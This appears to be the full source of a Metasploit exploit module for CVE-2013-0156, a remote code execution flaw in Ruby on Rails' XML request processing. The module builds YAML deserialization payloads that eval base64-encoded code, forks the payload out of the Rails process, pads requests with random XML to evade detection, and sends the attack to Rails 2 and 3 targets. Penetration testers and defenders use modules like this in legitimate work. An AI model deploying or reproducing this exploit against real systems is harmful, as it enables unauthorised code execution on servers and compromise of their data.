Ruby on Rails – XML Processor YAML Deserialization Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ruby on Rails XML Processor YAML Deserialization Code Execution', 'Description' => %q{ This module exploits a remote code execution vulnerability in the XML request processor of the Ruby on Rails application framework. This vulnerability allows an attacker to instantiate a remote object, which in turn can be used to execute any ruby code remotely in the context of the application. This module has been tested across multiple versions of RoR 3.x and RoR 2.x }, 'Author' => [ 'charlisome', # PoC 'espes', # PoC and Metasploit module 'lian', # Identified the RouteSet::NamedRouteCollection vector 'hdm' # Module merge/conversion/payload work ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-0156'], ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156'] ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DisclosureDate' => 'Jan 7 2013', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) ], self.class) register_evasion_options( [ OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true]) ], self.class) end # # This stub ensures that the payload runs outside of the Rails process # Otherwise, the session can be killed on timeout # def detached_payload_stub(code) %Q^ code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first if RUBY_PLATFORM =~ /mswin|mingw|win32/ inp = IO.popen("ruby", "wb") rescue nil if inp inp.write(code) inp.close end else if ! Process.fork() eval(code) rescue nil end end ^.strip.split(/\n/).map{|line| line.strip}.join("\n") end # # Create the YAML document that will be embedded into the XML # def build_yaml_rails2 # Embed the payload with the detached stub code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) ) yaml = "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + "eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n" yaml end # # Create the YAML document that will be embedded into the XML # def build_yaml_rails3 # Embed the payload with the detached stub code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) ) yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + "eval(%[#{code}].unpack(%[m0])[0]);' " + ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" yaml end # # Create the XML wrapper with any desired evasion # def build_request(v) xml = '' elo = Rex::Text.rand_text_alpha(rand(12)+4) if datastore['XML::PadElement'] xml << "<#{elo}>" 1.upto(rand(1000)+50) do el = Rex::Text.rand_text_alpha(rand(12)+4) tp = ['string', 'integer'][ rand(2) ] xml << "<#{el} type='#{tp}'>" xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) ) xml << "</#{el}>" end end el = Rex::Text.rand_text_alpha(rand(12)+4) xml << "<#{el} type='yaml'>" xml << (v == 2 ? build_yaml_rails2 : build_yaml_rails3) xml << "</#{el}>" if datastore['XML::PadElement'] 1.upto(rand(1000)+50) do el = Rex::Text.rand_text_alpha(rand(12)+4) tp = ['string', 'integer'][ rand(2) ] xml << "<#{el} type='#{tp}'>" xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) ) xml << "</#{el}>" end xml << "</#{elo}>" end xml end # # Send the actual request # def exploit print_status("Sending Railsv3 request to #{rhost}:#{rport}...") res = send_request_cgi({ 'uri' => datastore['URIPATH'] || "/", 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/xml', 'data' => build_request(3) }, 25) handler print_status("Sending Railsv2 request to #{rhost}:#{rport}...") res = send_request_cgi({ 'uri' => datastore['URIPATH'] || "/", 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/xml', 'data' => build_request(2) }, 25) handler end end |